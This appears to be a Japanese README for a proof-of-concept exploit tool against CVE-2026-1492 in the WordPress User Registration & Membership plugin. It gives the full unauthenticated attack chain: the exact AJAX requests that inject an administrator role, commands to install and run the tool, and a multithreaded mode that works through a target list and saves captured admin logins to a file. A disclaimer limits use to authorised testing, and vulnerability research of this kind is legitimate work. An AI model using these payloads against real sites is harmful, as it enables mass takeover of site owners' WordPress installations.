
User Registration & Membership <= 5.1.2 - メンバーシップ登録による未認証の権限昇格
User Registration & Membership <= 5.1.2 - メンバーシップ登録による未認証の権限昇格
説明:
WordPress 用の User Registration & Membership プラグインは、5.1.2 までの全バージョンにおいて、未認証の権限昇格 の影響を受けます。この脆弱性は、メンバーシップ登録処理中に、サーバーサイドの許可リストや権限チェックを実施せずに、ユーザーが指定した role 値 を受け入れる user_registration_membership_register_member AJAX ハンドラに起因します。完全に未認証のリモート攻撃者は、多段階の AJAX リクエストチェーンを構築できます。まず新しいユーザーアカウントを登録し、次に members_data JSON ペイロードへ "role": "administrator" を注入した悪意のある register_member 呼び出しを送信することで、完全な権限を持つ WordPress 管理者 アカウントを静かに作成します。これにより、ユーザー操作を一切必要とせず、影響を受ける WordPress インストールが完全に侵害されます。
これは、User Registration & Membership プラグインの脆弱なバージョンが動作している WordPress サイトに対する、完全なステート認識型攻撃チェーン を実装した Proof-of-Concept(PoC) エクスプロイトスクリプトです。このツールは、自動ディスカバリ、プラン抽出、nonce 収集、デュアルフロー登録、ロール注入、管理者検証を備えたインテリジェントな多段階エクスプロイトを実行します。
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
または requirements ファイルを使用する場合:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
このツールは、Rich を利用した完全対話式のターミナルインターフェースを使用します。すべてのパラメータは実行時にプロンプトで入力します。
1行に1ターゲットを指定したプレーンテキストファイル(デフォルト: list.txt)を作成します:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
このツールは、以下を自動的に検出して解析します:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ サーバーは許可リストによる検証を行わずに、クライアントから送信された
roleフィールドを受け入れます — これが CVE-2026-1492 の根本原因です。
このツールは新しいセッションを開き、新しく作成した認証情報でログインして、以下を調査します:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
作者: Nxploited (Khaled Alenazi)
このツールは、教育目的および許可を得たセキュリティ研究専用に提供されています。
本プロジェクトの著者 Nxploited (Khaled Alenazi) およびすべての貢献者は、このツールの悪用、または明示的な書面による許可を得ていないシステムに対する本ソフトウェアの使用によって生じた損害について、一切の是認、支持、責任を負いません。
- ✅ 許可: 所有しているシステム、またはテストする明示的な書面による許可を付与されたシステムでの使用。
- ❌ 禁止: システム所有者からの事前の明示的な書面による許可なしに、いかなるシステムに対しても使用すること。
コンピュータシステムへの不正アクセスは違法であり、適用法令に基づき処罰されます。 これには、Computer Fraud and Abuse Act(CFAA)、Computer Misuse Act(CMA)、および世界各国の同等の法律が含まれますが、これらに限定されません。
本ツールを使用することにより、利用者は自身の行為に対する単独かつ全面的な責任を負い、対象システムをテストする法的権限を有していることを確認したものとします。
著者は、本ソフトウェアの使用または誤用から生じる直接的、間接的、付随的、または結果的な損害について、一切の責任を負いません。
© 2026 Nxploited (Khaled Alenazi) — 許可を得たセキュリティ研究専用です。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-1492 |
| 深刻度 | CRITICAL — CVSS v3.1 スコア: 9.8 |
| ベクター | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響を受けるソフトウェア | User Registration & Membership — WordPress 用カスタム登録フォームビルダー、カスタムログインフォーム、ユーザープロフィール、コンテンツ制限&メンバーシッププラグイン |
| 影響を受けるバージョン | 5.1.2 までの全バージョン |
| 脆弱性の種類 | 不適切な権限管理 — 未認証での管理者アカウント作成 |
| 必要な認証 | なし |
| CWE | CWE-269: 不適切な権限管理 |
| ターゲット | 抽出される内容 |
|---|
/membership-pricing/ | メンバーシッププランID、登録ページのリンク |
/registration/ | フォームフィールド、nonce、AJAX URL、メンバーシップのラジオ入力 |
user_registration_params JS オブジェクト | ajax_url、security nonce、フォームメタデータ |
ur_membership_frontend_localized_data | メンバーシップ固有の nonce、AJAX エンドポイント |
| エンドポイント | 確認される指標 |
|---|
/wp-admin/ | adminmenu、wp-admin-bar、manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin、plugin-install-tab |
| ファイル | 説明 |
|---|
Nx_admin.txt | ✅ 確認済みの管理者アカウント |
membership_success_log.txt | 成功したすべてのメンバーシップロール注入呼び出し |
discovery_log.txt | ターゲットごとの完全なディスカバリデータ(nonce、ID、フィールド) |
registration_log.txt | すべての登録 AJAX リクエストとレスポンス |
membership_log.txt | すべてのメンバーシップ AJAX リクエストとレスポンス |
admin_check_log.txt | ログイン試行と管理者検証の結果 |
| ステータス | 色 | 意味 |
|---|
ADMIN-A / ADMIN-B | 🟢 緑 | 管理者が確認されました — フローAまたはB |
ADMIN-A-OVERRIDE | 🟢 緑 | オーバーライド試行後に管理者が確認されました |
REG-A-FAIL / REG-B-FAIL | 🟡 黄 | 登録 AJAX が失敗を返しました |
MEM-A-FAIL / MEM-B-FAIL | 🟣 マゼンタ | メンバーシップロール注入呼び出しに失敗しました |
REG-PENDING-A/B | ⚫ ダーク | アカウントにメール確認または管理者承認が必要です |
NO-MEM-ID | ⚫ ダーク | ターゲット上にメンバーシッププランIDが見つかりません |
NO-UR-NONCE | ⚫ ダーク | 登録 nonce を抽出できません |
NO-ADMIN | ⚫ ダーク | メンバーシップは成功したが管理者アクセスが確認できません |
TIMEOUT | ⚫ ダーク | HTTP タイムアウト |
DEAD | ⚫ ダーク | 接続エラー — サイトに到達できません |
ERROR | 🔴 赤 | 予期しない例外 |